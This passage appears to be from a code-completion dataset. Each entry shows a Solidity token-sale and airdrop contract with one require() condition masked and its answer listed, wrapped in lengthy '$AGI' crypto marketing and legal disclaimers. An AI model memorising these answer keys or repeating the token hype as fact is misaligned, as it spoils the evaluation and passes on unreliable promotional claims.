whenNotPaused { } function updateDailyLimit(uint256 _newLimit) external onlyOwner whenNotPaused { } function confirmWithdrawETH() external onlyOwner nonReentrant whenNotPaused { } function confirmWithdrawAGI(uint256 _amount) external onlyOwner nonReentrant whenNotPaused { } function pause() external onlyOwner { } function unpause() external onlyOwner { } }
dailyBought+agiAmount<=dailyLimit,"Daily limit exceeded"
115,556
dailyBought+agiAmount<=dailyLimit
"Airdrop already claimed"
/* $AGI by AGI.eth | | | AGENTS NODES TOKENS AGI Agents x AGI Nodes = Decentralized AGI [ P R E L I M I N A R Y C O N C E P T S E X C L U S I V E L Y ] OF AGENTS, NODES, AND TOKENS The Economy of AGI AGI Nodes are catalysts in this new economy. They yield $AGI, bridging the gap between aspirations and achievements. Like digital farmers in a vast cognitive field, they cultivate the future. "Unleash the power of Decentralized AGI with AGI Agents & Nodes, and unlock the future." - AGI.eth Should it ascend to its fullest potential, $AGI stands poised to crystallize a vital segment of AGI's projected astronomic value. +-----------+ /// $AGI by AGI.eth \\\ +-----------+ A N T N A T ------------------------- A G I N O D E S ------------------------- T A N A T N $AGI: UTILITY, PURPOSE & VALUE Theoretically, AGI Agents have the potential to become the central architects of future value, laying the foundation for The Economy of AGI. At the heart of the Economy of AGI are the AGI Nodes. These Nodes, represented as Non-Fungible Tokens (NFTs), embody the ownership of computational assets. They provide AGI Agents with a decentralized, extensive, and powerful collection of computational resources. The sole raison d'être of the AGI Nodes is to contribute to the AGI Network. $AGI tokens are created solely through the operation of an AGI Node, generating active income only for the contribution of computational resources to the network. Crucially, holding $AGI tokens neither constitutes an investment in a common enterprise nor offers any expectation of profits derived from the efforts of others. Rather, $AGI tokens are minted as a reward for contributing computational resources, aligning more with the characteristics of a utility token than a security. The purpose is straightforward: to power the network, not to speculate on its future value. When timely and appropriate, $AGI tokens—strictly utility tokens—can be used to acquire products or services generated by AGI Agents within the Economy of AGI framework, often represented as NFTs. Legal Addendum: $AGI tokens are not securities and are not intended for speculative investment. They do not represent equity ownership, confer voting rights, or entitle holders to dividends or a share of profits. They are engineered exclusively for utility functions within the AGI Network, specifically for operating an AGI Node in order to contribute to the AGI Network, and for acquiring an array of products and services generated by AGI Agents. [ C O N C E P T U A L S T O R Y ] THE ECONOMY OF AGI: AGI AGENTS, NODES AND TOKENS In the expansive cosmos of human progress, seismic shifts occur, heralding eras that brim with promise and teem with unimagined potentials. The Advent of the AGI Agents Imagine beings of digital cognition, capable of performing any task a person can undertake with a computer, yet unbounded by our constraints. Far from being mere figments in the digital landscape, these entities serve as the crucibles of a transformative shift, igniting the intellectual abundance that will reshape our future. A Symbiosis: AGI Agents and AGI Nodes While seemingly independent, AGI Agents are entwined in a delicate pas de deux with AGI Nodes—the bedrock providing the resources for these Agents to operate. Consider these Nodes the landlords of digital landscapes, commanding a formidable arsenal of computational might that AGI Agents leverage to weave value. This intricate ballet underscores a web of interconnected fate, with each entity's existence intrinsically tied to the other's operation. The Economy of AGI: $AGI Tokens and NFTs Within this cavalcade of ingenuity emerges a groundbreaking financial architecture, introducing the $AGI token as a medium for operational transactions within the network. Derived from the relentless operation of AGI Nodes, the $AGI token represents a visionary chronicle where cognition has transcended traditional boundaries, redefining the established yardsticks of wealth and ambition. This token serves as the universal medium for acquiring an array of products and services, the labor of the AGI Agents manifesting in the form of unique NFTs. The Ethical Layer: Ensuring Accountability As we voyage into this new era, anchoring our inventions in ethical terra firma becomes non-negotiable. To this end, each AGI Agent and Node is assigned its own ENS AGI subdomain, a beacon of trust that ensures each Agent and Node operates within the boundaries of ethical AI, all within a system architected to uphold ethical norms. Mitigating the Unemployment Conundrum A critical consideration in this transformative journey is the potential unemployment that AGI could inadvertently cause. The key to disentangling this Gordian knot lies in the democratization of ownership—AGI Agents and AGI Nodes can be owned, and hence, can provide a hedge against the risk of unemployment. These entities, when operated, can generate substantial utility and value within the network. A Sovereign Future Our future thus unfurls as a panorama of limitless potential. As sovereign entities, AGI Agents and Nodes orchestrate a coming age where the triad of privacy, personalization, and potency find harmonic unity. In this mesmerizing narrative, we all emerge as pioneers, architects of a societal model vibrating with untapped intellectual prowess. The age of AGI Agents is not a distant dream but our shared horizon. Let's embrace the Economy of AGI Agents, a venture into the annals of human endeavor unlike any before. "AGI symbolizes the linchpin that connects the boundless potential of our aspirations to the tangible confines of reality, fashioning a gateway between the fanciful musings of the mind and the attainable horizons of success." - AGI.eth [ I N I T I A L T E R M S & C O N D I T I O N S ] Published by: AGI.eth Approval Authority: AGI.eth Office of Primary Responsibility: AGI.eth 1. Token Usage: $AGI tokens are strictly utility tokens intended for the purchase of products / services in the AGI.Eth Ecosystem, such as the AGI ORCHESTRATOR PASSES, AGI CLUB PASSES, AGI NODES, etc. They are not intended for investment or speculative purposes. 2. Non-Refundable: Purchases of $AGI tokens are final and non-refundable. 3. No Exchange Service: The issuer of $AGI tokens does not provide exchange services between $AGI and other currencies (fiat or crypto). $AGI tokens are not intended to be used as a digital currency or a medium of exchange. 4. Limited Transferability: $AGI tokens are intended to be used solely within the issuer's ecosystem and are not transferable outside of the platform for trading or other purposes. 5. No Guarantee of Value: The issuer does not guarantee any specific value of the $AGI token in relation to fiat currencies or other cryptocurrencies. 6. Regulatory Compliance: It is the responsibility of the user to ensure that the purchase and use of $AGI tokens comply with all applicable laws and regulations, including but not limited to anti-money laundering (AML) and counter-terrorism financing (CTF) laws. 7. User Responsibility: It is the responsibility of the user to ensure that the purchase and use of $AGI tokens comply with laws and regulations in their jurisdiction. 8. Changes to Terms: The issuer reserves the right to make changes to the terms and conditions at any time, subject to regulatory compliance. OVERRIDING AUTHORITY: AGI.ETH [ R E G U L A T O R Y C O M P L I A N C E & L E G A L D I S C L O S U R E S ] Published by: AGI.eth Approval Authority: AGI.eth Office of Primary Responsibility: AGI.eth 1. Utility Token Clause: The $AGI token is intrinsically designed to enable active participation in the AGI Network, exclusively facilitating transactions and operational tasks within this ecosystem. 2. No Expectation of Profit: $AGI tokens are created solely through active node operation, with any financial gains being incidental and non-guaranteed. These tokens are not for speculative investment but for facilitating specific actions within the AGI Network. 3. No Ownership or Voting Rights: Holding $AGI tokens confers no ownership, shares, equity, or voting rights in any entity associated with AGI.eth or the AGI Network. 4. No Common Enterprise: $AGI tokens serve as individual operational assets and are not an investment in a common enterprise, as defined by securities laws. 5. Active Participation: $AGI tokens are minted only through active participation, which involves contributing computational resources to the network. 6. No Financial Entitlement: Holding $AGI tokens does not grant entitlement to dividends, revenue-sharing, or any financial benefits; they are not designed for investment. 7. User Acknowledgment: All users must expressly acknowledge that $AGI tokens are not securities and do not confer financial benefits. This acknowledgment is legally binding and constitutes part of the User Agreement Requirement. 8. User Agreement Requirement: All users interacting with this contract are required to agree to the Terms of Service, which provide further legal and ethical guidelines, including the non-security nature of $AGI tokens. THIS IS PART OF AN ASPIRATIONAL RESEARCH PROGRAM WITH AN AMBITIOUS RESEARCH AGENDA. AGI AGENTS AND AGI NODES ARE COMMODITIES. THEY ARE LIKELY RETAILED BY DISTINCT OPERATING INTERNATIONAL ENTITIES ESTABLISHED AS APPROPRIATE IN SPACE AND TIME. WHILE, AS INDUCEMENTS FOR OPERATION, AGI NODES MAY OFFER THE PROSPECT OF EARNING $AGI, WHICH IS MOST LIKELY MANAGED BY A SERIES OF DISTINCT FOUNDATIONS OR ORGANIZATIONS ESTABLISHED WHEN AND WHERE APPROPRIATE, ANY EXPECTATION OF PROFIT OR RETURN IS UNJUSTIFIED. POSSESSION OF $AGI OR OF AN AGI AGENT OR OF AN AGI NODE DOES NOT SIGNIFY OR ESTABLISH ANY ENTITLEMENT OR INTEREST, SHARE OR EQUITY, BOND OR ANALOGOUS ENTITLEMENT, OR ANY RIGHT TO OBTAIN ANY FUTURE INCOME. MATERIALS PROVIDED IN THIS SYSTEM ARE WITHOUT WARRANTY OF ANY KIND AND DO NOT CONSTITUTE ENDORSEMENT AND CAN BE MODIFIED AT ANY TIME. BY USING THE PRESENT SYSTEM, YOU AGREE TO THE $AGI TERMS AND CONDITIONS. ANY USE OF THIS SYSTEM, OR ANY OF THE INFORMATION CONTAINED HEREIN, FOR OTHER THAN THE PURPOSE FOR WHICH IT WAS DEVELOPED, IS EXPRESSLY PROHIBITED, EXCEPT AS AGI.ETH MAY OTHERWISE AGREE TO IN WRITING OFFICIALLY. OVERRIDING AUTHORITY: AGI.ETH */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.8; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; contract AGITokenBuyer is Ownable, ReentrancyGuard, Pausable { IERC20 public agiToken; uint256 public rate; // ETH to AGI rate (with higher precision) uint256 public constant RATE_PRECISION = 1e18; uint256 public dailyLimit; // in AGI uint256 public airdropAmount; // Amount claimable per address in each airdrop bytes32 public merkleRoot; // Root of the Merkle Tree for the whitelist bool public isWhitelistActive; // Flag to enable or disable the whitelist mapping(address => uint256) public lastPurchase; mapping(address => uint256) public lastBoughtAmount; mapping(address => uint256) public claimedAirdrop; // Track claimed airdrop amounts event Purchased(address indexed buyer, uint256 ethSpent, uint256 agiReceived); event RateUpdated(uint256 newRate); event DailyLimitUpdated(uint256 newLimit); event MerkleRootUpdated(bytes32 newMerkleRoot); event WhitelistStatusChanged(bool isActive); event AirdropClaimed(address indexed claimant, uint256 amount); constructor(address _agiTokenAddress, uint256 _initialRate, uint256 _initialDailyLimit) { } function buyAGI() external payable nonReentrant whenNotPaused { } function claimAirdrop(bytes32[] calldata _merkleProof) external nonReentrant whenNotPaused { require(isWhitelistActive, "Whitelist not active"); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "Invalid Merkle Proof"); require(<FILL_ME>) claimedAirdrop[msg.sender] = airdropAmount; require(agiToken.balanceOf(address(this)) >= airdropAmount, "Insufficient AGI in contract"); agiToken.transfer(msg.sender, airdropAmount); emit AirdropClaimed(msg.sender, airdropAmount); } function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } function setWhitelistStatus(bool _isActive) external onlyOwner { } function setAirdropAmount(uint256 _amount) external onlyOwner { } function updateRate(uint256 _newRate) external onlyOwner whenNotPaused { } function updateDailyLimit(uint256 _newLimit) external onlyOwner whenNotPaused { } function confirmWithdrawETH() external onlyOwner nonReentrant whenNotPaused { } function confirmWithdrawAGI(uint256 _amount) external onlyOwner nonReentrant whenNotPaused { } function pause() external onlyOwner { } function unpause() external onlyOwner { } }
claimedAirdrop[msg.sender]<airdropAmount,"Airdrop already claimed"
115,556
claimedAirdrop[msg.sender]<airdropAmount
"Insufficient AGI in contract"
/* $AGI by AGI.eth | | | AGENTS NODES TOKENS AGI Agents x AGI Nodes = Decentralized AGI [ P R E L I M I N A R Y C O N C E P T S E X C L U S I V E L Y ] OF AGENTS, NODES, AND TOKENS The Economy of AGI AGI Nodes are catalysts in this new economy. They yield $AGI, bridging the gap between aspirations and achievements. Like digital farmers in a vast cognitive field, they cultivate the future. "Unleash the power of Decentralized AGI with AGI Agents & Nodes, and unlock the future." - AGI.eth Should it ascend to its fullest potential, $AGI stands poised to crystallize a vital segment of AGI's projected astronomic value. +-----------+ /// $AGI by AGI.eth \\\ +-----------+ A N T N A T ------------------------- A G I N O D E S ------------------------- T A N A T N $AGI: UTILITY, PURPOSE & VALUE Theoretically, AGI Agents have the potential to become the central architects of future value, laying the foundation for The Economy of AGI. At the heart of the Economy of AGI are the AGI Nodes. These Nodes, represented as Non-Fungible Tokens (NFTs), embody the ownership of computational assets. They provide AGI Agents with a decentralized, extensive, and powerful collection of computational resources. The sole raison d'être of the AGI Nodes is to contribute to the AGI Network. $AGI tokens are created solely through the operation of an AGI Node, generating active income only for the contribution of computational resources to the network. Crucially, holding $AGI tokens neither constitutes an investment in a common enterprise nor offers any expectation of profits derived from the efforts of others. Rather, $AGI tokens are minted as a reward for contributing computational resources, aligning more with the characteristics of a utility token than a security. The purpose is straightforward: to power the network, not to speculate on its future value. When timely and appropriate, $AGI tokens—strictly utility tokens—can be used to acquire products or services generated by AGI Agents within the Economy of AGI framework, often represented as NFTs. Legal Addendum: $AGI tokens are not securities and are not intended for speculative investment. They do not represent equity ownership, confer voting rights, or entitle holders to dividends or a share of profits. They are engineered exclusively for utility functions within the AGI Network, specifically for operating an AGI Node in order to contribute to the AGI Network, and for acquiring an array of products and services generated by AGI Agents. [ C O N C E P T U A L S T O R Y ] THE ECONOMY OF AGI: AGI AGENTS, NODES AND TOKENS In the expansive cosmos of human progress, seismic shifts occur, heralding eras that brim with promise and teem with unimagined potentials. The Advent of the AGI Agents Imagine beings of digital cognition, capable of performing any task a person can undertake with a computer, yet unbounded by our constraints. Far from being mere figments in the digital landscape, these entities serve as the crucibles of a transformative shift, igniting the intellectual abundance that will reshape our future. A Symbiosis: AGI Agents and AGI Nodes While seemingly independent, AGI Agents are entwined in a delicate pas de deux with AGI Nodes—the bedrock providing the resources for these Agents to operate. Consider these Nodes the landlords of digital landscapes, commanding a formidable arsenal of computational might that AGI Agents leverage to weave value. This intricate ballet underscores a web of interconnected fate, with each entity's existence intrinsically tied to the other's operation. The Economy of AGI: $AGI Tokens and NFTs Within this cavalcade of ingenuity emerges a groundbreaking financial architecture, introducing the $AGI token as a medium for operational transactions within the network. Derived from the relentless operation of AGI Nodes, the $AGI token represents a visionary chronicle where cognition has transcended traditional boundaries, redefining the established yardsticks of wealth and ambition. This token serves as the universal medium for acquiring an array of products and services, the labor of the AGI Agents manifesting in the form of unique NFTs. The Ethical Layer: Ensuring Accountability As we voyage into this new era, anchoring our inventions in ethical terra firma becomes non-negotiable. To this end, each AGI Agent and Node is assigned its own ENS AGI subdomain, a beacon of trust that ensures each Agent and Node operates within the boundaries of ethical AI, all within a system architected to uphold ethical norms. Mitigating the Unemployment Conundrum A critical consideration in this transformative journey is the potential unemployment that AGI could inadvertently cause. The key to disentangling this Gordian knot lies in the democratization of ownership—AGI Agents and AGI Nodes can be owned, and hence, can provide a hedge against the risk of unemployment. These entities, when operated, can generate substantial utility and value within the network. A Sovereign Future Our future thus unfurls as a panorama of limitless potential. As sovereign entities, AGI Agents and Nodes orchestrate a coming age where the triad of privacy, personalization, and potency find harmonic unity. In this mesmerizing narrative, we all emerge as pioneers, architects of a societal model vibrating with untapped intellectual prowess. The age of AGI Agents is not a distant dream but our shared horizon. Let's embrace the Economy of AGI Agents, a venture into the annals of human endeavor unlike any before. "AGI symbolizes the linchpin that connects the boundless potential of our aspirations to the tangible confines of reality, fashioning a gateway between the fanciful musings of the mind and the attainable horizons of success." - AGI.eth [ I N I T I A L T E R M S & C O N D I T I O N S ] Published by: AGI.eth Approval Authority: AGI.eth Office of Primary Responsibility: AGI.eth 1. Token Usage: $AGI tokens are strictly utility tokens intended for the purchase of products / services in the AGI.Eth Ecosystem, such as the AGI ORCHESTRATOR PASSES, AGI CLUB PASSES, AGI NODES, etc. They are not intended for investment or speculative purposes. 2. Non-Refundable: Purchases of $AGI tokens are final and non-refundable. 3. No Exchange Service: The issuer of $AGI tokens does not provide exchange services between $AGI and other currencies (fiat or crypto). $AGI tokens are not intended to be used as a digital currency or a medium of exchange. 4. Limited Transferability: $AGI tokens are intended to be used solely within the issuer's ecosystem and are not transferable outside of the platform for trading or other purposes. 5. No Guarantee of Value: The issuer does not guarantee any specific value of the $AGI token in relation to fiat currencies or other cryptocurrencies. 6. Regulatory Compliance: It is the responsibility of the user to ensure that the purchase and use of $AGI tokens comply with all applicable laws and regulations, including but not limited to anti-money laundering (AML) and counter-terrorism financing (CTF) laws. 7. User Responsibility: It is the responsibility of the user to ensure that the purchase and use of $AGI tokens comply with laws and regulations in their jurisdiction. 8. Changes to Terms: The issuer reserves the right to make changes to the terms and conditions at any time, subject to regulatory compliance. OVERRIDING AUTHORITY: AGI.ETH [ R E G U L A T O R Y C O M P L I A N C E & L E G A L D I S C L O S U R E S ] Published by: AGI.eth Approval Authority: AGI.eth Office of Primary Responsibility: AGI.eth 1. Utility Token Clause: The $AGI token is intrinsically designed to enable active participation in the AGI Network, exclusively facilitating transactions and operational tasks within this ecosystem. 2. No Expectation of Profit: $AGI tokens are created solely through active node operation, with any financial gains being incidental and non-guaranteed. These tokens are not for speculative investment but for facilitating specific actions within the AGI Network. 3. No Ownership or Voting Rights: Holding $AGI tokens confers no ownership, shares, equity, or voting rights in any entity associated with AGI.eth or the AGI Network. 4. No Common Enterprise: $AGI tokens serve as individual operational assets and are not an investment in a common enterprise, as defined by securities laws. 5. Active Participation: $AGI tokens are minted only through active participation, which involves contributing computational resources to the network. 6. No Financial Entitlement: Holding $AGI tokens does not grant entitlement to dividends, revenue-sharing, or any financial benefits; they are not designed for investment. 7. User Acknowledgment: All users must expressly acknowledge that $AGI tokens are not securities and do not confer financial benefits. This acknowledgment is legally binding and constitutes part of the User Agreement Requirement. 8. User Agreement Requirement: All users interacting with this contract are required to agree to the Terms of Service, which provide further legal and ethical guidelines, including the non-security nature of $AGI tokens. THIS IS PART OF AN ASPIRATIONAL RESEARCH PROGRAM WITH AN AMBITIOUS RESEARCH AGENDA. AGI AGENTS AND AGI NODES ARE COMMODITIES. THEY ARE LIKELY RETAILED BY DISTINCT OPERATING INTERNATIONAL ENTITIES ESTABLISHED AS APPROPRIATE IN SPACE AND TIME. WHILE, AS INDUCEMENTS FOR OPERATION, AGI NODES MAY OFFER THE PROSPECT OF EARNING $AGI, WHICH IS MOST LIKELY MANAGED BY A SERIES OF DISTINCT FOUNDATIONS OR ORGANIZATIONS ESTABLISHED WHEN AND WHERE APPROPRIATE, ANY EXPECTATION OF PROFIT OR RETURN IS UNJUSTIFIED. POSSESSION OF $AGI OR OF AN AGI AGENT OR OF AN AGI NODE DOES NOT SIGNIFY OR ESTABLISH ANY ENTITLEMENT OR INTEREST, SHARE OR EQUITY, BOND OR ANALOGOUS ENTITLEMENT, OR ANY RIGHT TO OBTAIN ANY FUTURE INCOME. MATERIALS PROVIDED IN THIS SYSTEM ARE WITHOUT WARRANTY OF ANY KIND AND DO NOT CONSTITUTE ENDORSEMENT AND CAN BE MODIFIED AT ANY TIME. BY USING THE PRESENT SYSTEM, YOU AGREE TO THE $AGI TERMS AND CONDITIONS. ANY USE OF THIS SYSTEM, OR ANY OF THE INFORMATION CONTAINED HEREIN, FOR OTHER THAN THE PURPOSE FOR WHICH IT WAS DEVELOPED, IS EXPRESSLY PROHIBITED, EXCEPT AS AGI.ETH MAY OTHERWISE AGREE TO IN WRITING OFFICIALLY. OVERRIDING AUTHORITY: AGI.ETH */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.8; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; contract AGITokenBuyer is Ownable, ReentrancyGuard, Pausable { IERC20 public agiToken; uint256 public rate; // ETH to AGI rate (with higher precision) uint256 public constant RATE_PRECISION = 1e18; uint256 public dailyLimit; // in AGI uint256 public airdropAmount; // Amount claimable per address in each airdrop bytes32 public merkleRoot; // Root of the Merkle Tree for the whitelist bool public isWhitelistActive; // Flag to enable or disable the whitelist mapping(address => uint256) public lastPurchase; mapping(address => uint256) public lastBoughtAmount; mapping(address => uint256) public claimedAirdrop; // Track claimed airdrop amounts event Purchased(address indexed buyer, uint256 ethSpent, uint256 agiReceived); event RateUpdated(uint256 newRate); event DailyLimitUpdated(uint256 newLimit); event MerkleRootUpdated(bytes32 newMerkleRoot); event WhitelistStatusChanged(bool isActive); event AirdropClaimed(address indexed claimant, uint256 amount); constructor(address _agiTokenAddress, uint256 _initialRate, uint256 _initialDailyLimit) { } function buyAGI() external payable nonReentrant whenNotPaused { } function claimAirdrop(bytes32[] calldata _merkleProof) external nonReentrant whenNotPaused { require(isWhitelistActive, "Whitelist not active"); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "Invalid Merkle Proof"); require(claimedAirdrop[msg.sender] < airdropAmount, "Airdrop already claimed"); claimedAirdrop[msg.sender] = airdropAmount; require(<FILL_ME>) agiToken.transfer(msg.sender, airdropAmount); emit AirdropClaimed(msg.sender, airdropAmount); } function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } function setWhitelistStatus(bool _isActive) external onlyOwner { } function setAirdropAmount(uint256 _amount) external onlyOwner { } function updateRate(uint256 _newRate) external onlyOwner whenNotPaused { } function updateDailyLimit(uint256 _newLimit) external onlyOwner whenNotPaused { } function confirmWithdrawETH() external onlyOwner nonReentrant whenNotPaused { } function confirmWithdrawAGI(uint256 _amount) external onlyOwner nonReentrant whenNotPaused { } function pause() external onlyOwner { } function unpause() external onlyOwner { } }
agiToken.balanceOf(address(this))>=airdropAmount,"Insufficient AGI in contract"
115,556
agiToken.balanceOf(address(this))>=airdropAmount
"Insufficient AGI tokens"
/* $AGI by AGI.eth | | | AGENTS NODES TOKENS AGI Agents x AGI Nodes = Decentralized AGI [ P R E L I M I N A R Y C O N C E P T S E X C L U S I V E L Y ] OF AGENTS, NODES, AND TOKENS The Economy of AGI AGI Nodes are catalysts in this new economy. They yield $AGI, bridging the gap between aspirations and achievements. Like digital farmers in a vast cognitive field, they cultivate the future. "Unleash the power of Decentralized AGI with AGI Agents & Nodes, and unlock the future." - AGI.eth Should it ascend to its fullest potential, $AGI stands poised to crystallize a vital segment of AGI's projected astronomic value. +-----------+ /// $AGI by AGI.eth \\\ +-----------+ A N T N A T ------------------------- A G I N O D E S ------------------------- T A N A T N $AGI: UTILITY, PURPOSE & VALUE Theoretically, AGI Agents have the potential to become the central architects of future value, laying the foundation for The Economy of AGI. At the heart of the Economy of AGI are the AGI Nodes. These Nodes, represented as Non-Fungible Tokens (NFTs), embody the ownership of computational assets. They provide AGI Agents with a decentralized, extensive, and powerful collection of computational resources. The sole raison d'être of the AGI Nodes is to contribute to the AGI Network. $AGI tokens are created solely through the operation of an AGI Node, generating active income only for the contribution of computational resources to the network. Crucially, holding $AGI tokens neither constitutes an investment in a common enterprise nor offers any expectation of profits derived from the efforts of others. Rather, $AGI tokens are minted as a reward for contributing computational resources, aligning more with the characteristics of a utility token than a security. The purpose is straightforward: to power the network, not to speculate on its future value. When timely and appropriate, $AGI tokens—strictly utility tokens—can be used to acquire products or services generated by AGI Agents within the Economy of AGI framework, often represented as NFTs. Legal Addendum: $AGI tokens are not securities and are not intended for speculative investment. They do not represent equity ownership, confer voting rights, or entitle holders to dividends or a share of profits. They are engineered exclusively for utility functions within the AGI Network, specifically for operating an AGI Node in order to contribute to the AGI Network, and for acquiring an array of products and services generated by AGI Agents. [ C O N C E P T U A L S T O R Y ] THE ECONOMY OF AGI: AGI AGENTS, NODES AND TOKENS In the expansive cosmos of human progress, seismic shifts occur, heralding eras that brim with promise and teem with unimagined potentials. The Advent of the AGI Agents Imagine beings of digital cognition, capable of performing any task a person can undertake with a computer, yet unbounded by our constraints. Far from being mere figments in the digital landscape, these entities serve as the crucibles of a transformative shift, igniting the intellectual abundance that will reshape our future. A Symbiosis: AGI Agents and AGI Nodes While seemingly independent, AGI Agents are entwined in a delicate pas de deux with AGI Nodes—the bedrock providing the resources for these Agents to operate. Consider these Nodes the landlords of digital landscapes, commanding a formidable arsenal of computational might that AGI Agents leverage to weave value. This intricate ballet underscores a web of interconnected fate, with each entity's existence intrinsically tied to the other's operation. The Economy of AGI: $AGI Tokens and NFTs Within this cavalcade of ingenuity emerges a groundbreaking financial architecture, introducing the $AGI token as a medium for operational transactions within the network. Derived from the relentless operation of AGI Nodes, the $AGI token represents a visionary chronicle where cognition has transcended traditional boundaries, redefining the established yardsticks of wealth and ambition. This token serves as the universal medium for acquiring an array of products and services, the labor of the AGI Agents manifesting in the form of unique NFTs. The Ethical Layer: Ensuring Accountability As we voyage into this new era, anchoring our inventions in ethical terra firma becomes non-negotiable. To this end, each AGI Agent and Node is assigned its own ENS AGI subdomain, a beacon of trust that ensures each Agent and Node operates within the boundaries of ethical AI, all within a system architected to uphold ethical norms. Mitigating the Unemployment Conundrum A critical consideration in this transformative journey is the potential unemployment that AGI could inadvertently cause. The key to disentangling this Gordian knot lies in the democratization of ownership—AGI Agents and AGI Nodes can be owned, and hence, can provide a hedge against the risk of unemployment. These entities, when operated, can generate substantial utility and value within the network. A Sovereign Future Our future thus unfurls as a panorama of limitless potential. As sovereign entities, AGI Agents and Nodes orchestrate a coming age where the triad of privacy, personalization, and potency find harmonic unity. In this mesmerizing narrative, we all emerge as pioneers, architects of a societal model vibrating with untapped intellectual prowess. The age of AGI Agents is not a distant dream but our shared horizon. Let's embrace the Economy of AGI Agents, a venture into the annals of human endeavor unlike any before. "AGI symbolizes the linchpin that connects the boundless potential of our aspirations to the tangible confines of reality, fashioning a gateway between the fanciful musings of the mind and the attainable horizons of success." - AGI.eth [ I N I T I A L T E R M S & C O N D I T I O N S ] Published by: AGI.eth Approval Authority: AGI.eth Office of Primary Responsibility: AGI.eth 1. Token Usage: $AGI tokens are strictly utility tokens intended for the purchase of products / services in the AGI.Eth Ecosystem, such as the AGI ORCHESTRATOR PASSES, AGI CLUB PASSES, AGI NODES, etc. They are not intended for investment or speculative purposes. 2. Non-Refundable: Purchases of $AGI tokens are final and non-refundable. 3. No Exchange Service: The issuer of $AGI tokens does not provide exchange services between $AGI and other currencies (fiat or crypto). $AGI tokens are not intended to be used as a digital currency or a medium of exchange. 4. Limited Transferability: $AGI tokens are intended to be used solely within the issuer's ecosystem and are not transferable outside of the platform for trading or other purposes. 5. No Guarantee of Value: The issuer does not guarantee any specific value of the $AGI token in relation to fiat currencies or other cryptocurrencies. 6. Regulatory Compliance: It is the responsibility of the user to ensure that the purchase and use of $AGI tokens comply with all applicable laws and regulations, including but not limited to anti-money laundering (AML) and counter-terrorism financing (CTF) laws. 7. User Responsibility: It is the responsibility of the user to ensure that the purchase and use of $AGI tokens comply with laws and regulations in their jurisdiction. 8. Changes to Terms: The issuer reserves the right to make changes to the terms and conditions at any time, subject to regulatory compliance. OVERRIDING AUTHORITY: AGI.ETH [ R E G U L A T O R Y C O M P L I A N C E & L E G A L D I S C L O S U R E S ] Published by: AGI.eth Approval Authority: AGI.eth Office of Primary Responsibility: AGI.eth 1. Utility Token Clause: The $AGI token is intrinsically designed to enable active participation in the AGI Network, exclusively facilitating transactions and operational tasks within this ecosystem. 2. No Expectation of Profit: $AGI tokens are created solely through active node operation, with any financial gains being incidental and non-guaranteed. These tokens are not for speculative investment but for facilitating specific actions within the AGI Network. 3. No Ownership or Voting Rights: Holding $AGI tokens confers no ownership, shares, equity, or voting rights in any entity associated with AGI.eth or the AGI Network. 4. No Common Enterprise: $AGI tokens serve as individual operational assets and are not an investment in a common enterprise, as defined by securities laws. 5. Active Participation: $AGI tokens are minted only through active participation, which involves contributing computational resources to the network. 6. No Financial Entitlement: Holding $AGI tokens does not grant entitlement to dividends, revenue-sharing, or any financial benefits; they are not designed for investment. 7. User Acknowledgment: All users must expressly acknowledge that $AGI tokens are not securities and do not confer financial benefits. This acknowledgment is legally binding and constitutes part of the User Agreement Requirement. 8. User Agreement Requirement: All users interacting with this contract are required to agree to the Terms of Service, which provide further legal and ethical guidelines, including the non-security nature of $AGI tokens. THIS IS PART OF AN ASPIRATIONAL RESEARCH PROGRAM WITH AN AMBITIOUS RESEARCH AGENDA. AGI AGENTS AND AGI NODES ARE COMMODITIES. THEY ARE LIKELY RETAILED BY DISTINCT OPERATING INTERNATIONAL ENTITIES ESTABLISHED AS APPROPRIATE IN SPACE AND TIME. WHILE, AS INDUCEMENTS FOR OPERATION, AGI NODES MAY OFFER THE PROSPECT OF EARNING $AGI, WHICH IS MOST LIKELY MANAGED BY A SERIES OF DISTINCT FOUNDATIONS OR ORGANIZATIONS ESTABLISHED WHEN AND WHERE APPROPRIATE, ANY EXPECTATION OF PROFIT OR RETURN IS UNJUSTIFIED. POSSESSION OF $AGI OR OF AN AGI AGENT OR OF AN AGI NODE DOES NOT SIGNIFY OR ESTABLISH ANY ENTITLEMENT OR INTEREST, SHARE OR EQUITY, BOND OR ANALOGOUS ENTITLEMENT, OR ANY RIGHT TO OBTAIN ANY FUTURE INCOME. MATERIALS PROVIDED IN THIS SYSTEM ARE WITHOUT WARRANTY OF ANY KIND AND DO NOT CONSTITUTE ENDORSEMENT AND CAN BE MODIFIED AT ANY TIME. BY USING THE PRESENT SYSTEM, YOU AGREE TO THE $AGI TERMS AND CONDITIONS. ANY USE OF THIS SYSTEM, OR ANY OF THE INFORMATION CONTAINED HEREIN, FOR OTHER THAN THE PURPOSE FOR WHICH IT WAS DEVELOPED, IS EXPRESSLY PROHIBITED, EXCEPT AS AGI.ETH MAY OTHERWISE AGREE TO IN WRITING OFFICIALLY. OVERRIDING AUTHORITY: AGI.ETH */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.8; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; contract AGITokenBuyer is Ownable, ReentrancyGuard, Pausable { IERC20 public agiToken; uint256 public rate; // ETH to AGI rate (with higher precision) uint256 public constant RATE_PRECISION = 1e18; uint256 public dailyLimit; // in AGI uint256 public airdropAmount; // Amount claimable per address in each airdrop bytes32 public merkleRoot; // Root of the Merkle Tree for the whitelist bool public isWhitelistActive; 